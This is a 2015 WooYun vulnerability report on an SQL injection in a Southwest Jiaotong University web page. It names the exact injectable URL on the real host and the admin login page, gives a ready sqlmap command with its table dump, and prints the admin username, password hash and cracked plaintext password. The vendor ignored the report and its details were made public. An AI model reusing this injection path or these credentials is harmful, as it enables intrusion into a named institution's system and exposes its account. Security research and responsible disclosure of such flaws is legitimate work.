当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0107467

漏洞标题：西南交大某处第二枚（web权限可拿）

相关厂商：西南交大

漏洞作者： 小天

提交时间：2015-04-14 15:45

修复时间：2015-04-20 14:22

公开时间：2015-04-20 14:22

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：14

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-14： 细节已通知厂商并且等待厂商处理中
2015-04-20： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

又找到一枚

详细说明：

第四枚：
注入点：http://zzb.em.swjtu.edu.cn/html/NewsContent.aspx?NewID=264
后台登陆点：http://zzb.em.swjtu.edu.cn/  
sqlmap.py  -u  http://zzb.em.swjtu.edu.cn/html/NewsContent.aspx?NewID=264 --tables
Database: Microsoft_Access_masterdb
[3 tables]
+-------+
| user  |
| news  |
| study |
+-------+
Database: Microsoft_Access_masterdb
Table: user
[1 entry]
+----------+----------------------------------+
| username | userpassword                     |
+----------+----------------------------------+
| emzzb    | 1da664eed01a50081d8f63d0cb8989ee |zzb12345
+----------+----------------------------------+

漏洞证明：

1118.png


西南交大第四枚.png

修复方案：

guolv

版权声明：转载请注明来源 小天@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-04-20 14:22

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无

漏洞评价：

评论

  1. 2015-04-20 15:18 | 小天 ( 实习白帽子 | Rank:80 漏洞数:30 | 热爱学习，热爱web，热爱漏洞，热爱挖掘，)

    @CCERT教育网应急响应组 怎么这么坑，，忽略干嘛，，是不存在吗？？还回复的时候，，，漏洞Rank：15 (WooYun评价)，，你们怎么这么逗